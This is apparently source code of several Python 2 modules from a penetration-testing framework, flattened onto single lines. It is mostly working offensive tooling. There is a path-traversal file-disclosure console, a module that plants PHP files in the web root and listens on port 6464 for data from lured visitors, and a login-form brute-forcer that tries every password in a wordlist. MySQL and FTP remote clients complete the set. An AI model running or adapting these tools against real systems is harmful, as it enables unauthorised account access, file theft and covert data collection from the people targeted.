def main(run): try: # HEAD MODULE if run: actions = raw_input(Message.prompt(initialize.CodeName)) else: actions = "run" if getFunction.KatanaCheckActionShowOptions(actions): getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions): initialize.DEFAULT_VARIABLE = getFunction.UpdateValue( actions, initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions): return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: getFunction.live(initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[1][0]) if True: try: con = MySQLdb.connect( initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[2][0], initialize.DEFAULT_VARIABLE[3][0], "") if True: try: cmd = "nop" print "\n " + Hlp + " SQL Client help" print " -------------------------------------------------------------------------------------------------------" print " |" + colors[6] + "Command" + colors[ 0] + " | " + colors[ 6] + "Description" + colors[ 0] + " | " + colors[ 6] + "Examples" + colors[ 0] + " |" print " -------------------------------------------------------------------------------------------------------" print " |show databases | list databases | show databases |" print " |use | select database | use user_table |" print " |show tables | list tables | show tables |" print " |create database | create databases| create database USERS | " print " |create table | create tables | create table EMAILS (id INT PRIMARY KEY, name VARCHAR(20)) | " print " |drop database | drop databases | drop database USERS | " print " |drop table | drop tables | drop table EMAIL | " print " |insert | insert data | insert into EMAILS values ( '2', '*****@*****.**' ) | " print " |update | update data | update EMAILS set name='Willy' where id=1 | " print " |select | select data | select id, name from EMAILS | " print " -------------------------------------------------------------------------------------------------------\n" current = "sql" while (cmd != "exit"): cmd = raw_input( Message.Client_prompt(current)) cur = con.cursor() try: tor = cur.execute(cmd) if True: for x in range(tor): print(" -%s") % cur.fetchone() print " " + Suf + " ------- > OK." if cmd[:3] == "use": current = "sql:" + cmd[4:] except: print " " + Bad + " No command '" + cmd + "' found" except: Errors.Errors(event=sys.exc_info(), info=False) except: Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[2][0] + ":" + initialize.DEFAULT_VARIABLE[3][0]) except: Errors.Errors( event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0] + ":" + initialize.DEFAULT_VARIABLE[1][0] ) # END CODE MODULE ############################################################################################ # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def main(run): try: # HEAD MODULE if run: actions=raw_input(Message.prompt(initialize.CodeName)) else : actions="run" if getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions) :return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0]) if True: connection = httplib.HTTPConnection(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0]) connection.request("GET",initialize.DEFAULT_VARIABLE[2][0]) response = connection.getresponse() if response.status == 200: print " "+Suf+" File response correctly." Message.space() print "\n "+Hlp+" LFD Console help\n" print " ----------------------------------------------------" print " |"+colors[12]+"Command | Description| Examples |"+colors[0] print " ---------------------------------------------------" print " | get | Query data | get file=index.php&dir=../ |" print " ---------------------------------------------------" Message.space() command=0 while command!="exit": command=raw_input(Message.Client_prompt("LFD")) if command[:3] == "get": submit=command[4:] try: url = "http://"+initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0]+initialize.DEFAULT_VARIABLE[2][0]+"?"+submit file_name = url.split('/')[-1] u = urllib2.urlopen(url) f = open("tmp/"+file_name, 'wb') meta = u.info() try: file_size = int(meta.getheaders("Content-Length")[0]) if file_size != 0: print " "+Alr+" Request "+url print " "+Alr+" Downloading %s Bytes: %s" % (file_name, file_size) file_size_dl = 0 block_sz = 8192 while True: buffer = u.read(block_sz) if not buffer: break file_size_dl += len(buffer) f.write(buffer) status = r"%10d [%3.2f%%]" % (file_size_dl, file_size_dl * 100. / file_size) status = status + chr(8)*(len(status)+1) print " "+Suf+" Completed "+status f.close() print " \n -------------------------------- File "+file_name+" Size: "+str(file_size)+" \n" os.system("cat 'tmp/"+file_name+"' -b -v ") os.system("rm 'tmp/"+file_name+"'") print " \n -------------------------------- File "+file_name+" Size: "+str(file_size)+" \n" else: print " "+War+" File empy or no exist." except: Errors.Errors(event=sys.exc_info(), info=url) except: Errors.Errors(event=sys.exc_info(), info=defaulthost+":"+defaultport) else: print " "+Bad+" File Not response correctly." Message.space() except: Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0]) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def main(run): try: # HEAD MODULE if run: actions = raw_input(Message.prompt(initialize.CodeName)) else: actions = "run" if getFunction.KatanaCheckActionShowOptions(actions): getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions): initialize.DEFAULT_VARIABLE = getFunction.UpdateValue( actions, initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions): return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ print " " + Alr + " Setting files", getFunction.status_cmd( 'mkdir -p ' + PATCH_WWW + 'r/ ; echo "<?php \$url=\'http://' + initialize.DEFAULT_VARIABLE[0][0] + '\';\$javascript=\'' + initialize.DEFAULT_VARIABLE[1][0] + '\';?>" > ' + PATCH_WWW + 'r/appconfig.php & echo ', "\t\t\t\t") print " " + Alr + " Coping files to server", getFunction.status_cmd( "cp files/getdatareport/* " + PATCH_WWW + "r/", "\t\t\t") print " " + Alr + " Giving privileges to files", getFunction.status_cmd( "chmod -R 777 " + PATCH_WWW + "r", "\t\t") if True: try: print " " + Alr + " Starting Apache Server", getFunction.status_cmd( "service apache2 start", "\t\t\t") print " " + Alr + " Starting Script Server", getFunction.status_cmd( "sudo fuser -kuv 6464/tcp > null", "\t\t\t") Message.space() Message.go( " HOTLink http://127.0.0.1/r/link.php?lKsm#s92Sa") print(" " + Hlp + " to stop the module press " + colors[13] + "[Ctrl+c]" + colors[0]) server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(("", 6464)) server.listen(1) print " " + Suf + " Waiting bees..." while 1: socket_cliente, datos_cliente = server.accept() print " " + War + " beed: " + str(datos_cliente) hilo = Cliente(socket_cliente, datos_cliente) hilo.start() raw_input(" " + Hlp + " Press any key for Stop GetDataReport") except: Errors.Errors(event=sys.exc_info(), info=False) print "" print(" " + Alr + " Stoping Process") print " " + Alr + " Removing files", getFunction.status_cmd( "rm " + PATCH_WWW + "r/link.php " + PATCH_WWW + "r/appconfig.php " + PATCH_WWW + "r/GetdataReport.Plugin.php", "\t\t\t\t") print " " + Alr + " Stoping Apache", getFunction.status_cmd( "service apache2 stop", "\t\t\t\t") server.close() Message.space() # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def main(run): try: # HEAD MODULE if run: actions=raw_input(Message.prompt(initialize.CodeName)) else : actions="run" if getFunction.KatanaCheckActionShowOptions(actions) :getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions) :return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0]) if True: try: ftp.login(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0]) if True: try: cmd="nop" patch="" print "\n "+Hlp+" FTP Client help" print " ----------------------------------------" print " |"+colors[6]+"Commd"+colors[0]+"| "+colors[6]+"Description"+colors[0]+" | "+colors[6]+"Examples"+colors[0]+" |" print " ----------------------------------------" print " |ls | list files | ls |" print " |cd | change dir | cd css |" print " |mk | create dir | mk images |" print " |rm | remove file | remove config.js | " print " |rmd | remove dir | remove sex |" print " |get | get file | get index.php |" print " |put | up file | put login.php |" print " ----------------------------------------" print "" while(cmd!="exit"): cmd = raw_input(Message.Client_prompt('ftp')) if cmd == "ls": ftp.retrlines("LIST") if cmd[0:2] == "cd": try: ftp.cwd(cmd[3:]) if True: patch=cmd[3:] if patch == "..": patch="" except: print " "+Bad+" Error: directory wrong." if cmd[0:3] == "get": lfile=cmd[4:].replace("\n","") try: ftp.retrbinary('RETR '+lfile,open(lfile,'wb').write) if True: subprocess.Popen("cp "+lfile+" /root/Desktop/;rm "+lfile+"", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() print " "+Suf+" Saved, /root/Desktop/"+lfile except: print " "+Bad+" Error: file not found." if cmd[0:3] == "put": lfile=cmd[4:].replace("\n","") w = open(lfile, 'rb') try: ftp.storbinary("STOR r.r",w) except: print " "+Bad+" Error: file wrong." if cmd[0:2] == "rm": try: ftp.delete(cmd[3:]) except: print " "+Bad+" Error: file not found." if cmd[0:3] == "rmd": pat=cmd[4:].replace("\n","") ftp.rmd(pat) if cmd[0:2] == "mk": try: ftp.mkd(cmd[3:]) except: print " "+Bad+" Error: directory wrong." except Exception,e: print(" "+Bad+" Timeout, Error:", e) except: Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[2][0]+":"+initialize.DEFAULT_VARIABLE[3][0]) except: Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0]) # END CODE MODULE ############################################################################################ # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def main(run): try: # HEAD MODULE if run: actions = raw_input(Message.prompt(initialize.CodeName)) else: actions = "run" if getFunction.KatanaCheckActionShowOptions(actions): getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions): initialize.DEFAULT_VARIABLE = getFunction.UpdateValue( actions, initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions): return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: getFunction.live(initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[1][0]) if True: try: Message.loading_file() Testrequestcode = True with open(initialize.DEFAULT_VARIABLE[4][0], 'r') as passwords: for password in passwords: password = password.replace("\n", "") params = urllib.urlencode({ initialize.DEFAULT_VARIABLE[5][0]: initialize.DEFAULT_VARIABLE[3][0], initialize.DEFAULT_VARIABLE[6][0]: password }) header = { "Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain" } conn = httplib.HTTPConnection( initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[1][0]) conn.request(initialize.DEFAULT_VARIABLE[7][0], initialize.DEFAULT_VARIABLE[2][0], params, header) response = conn.getresponse() ver_source = response.read() Status = getFunction.checkStatus( response.status) if (Testrequestcode == True): print " " + Alr + " Connection testing:" + initialize.DEFAULT_VARIABLE[ 0][0] + " " + Status[ 1] + " Des:" + Status[0] if (Status[1] == "Err:Client" or Status[1] == "Err:Server"): break Testrequestcode = False if ver_source.find( initialize.DEFAULT_VARIABLE[8] [0]) <= 0 and response.status == 200: getFunction.savefour( "BruteForceFormBase", initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[1][0], initialize.DEFAULT_VARIABLE[2][0], initialize.DEFAULT_VARIABLE[7][0], initialize.DEFAULT_VARIABLE[5][0], initialize.DEFAULT_VARIABLE[6][0], initialize.DEFAULT_VARIABLE[3][0], password) print "\n-" + Suf + " Successfully with [" + initialize.DEFAULT_VARIABLE[ 5][0] + "=" + initialize.DEFAULT_VARIABLE[ 3][0] + "][" + initialize.DEFAULT_VARIABLE[ 6][0] + "=" + password + "]\n" main(True) else: print " " + Alr + " testing with the password: "******":" + initialize.DEFAULT_VARIABLE[1][0]) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)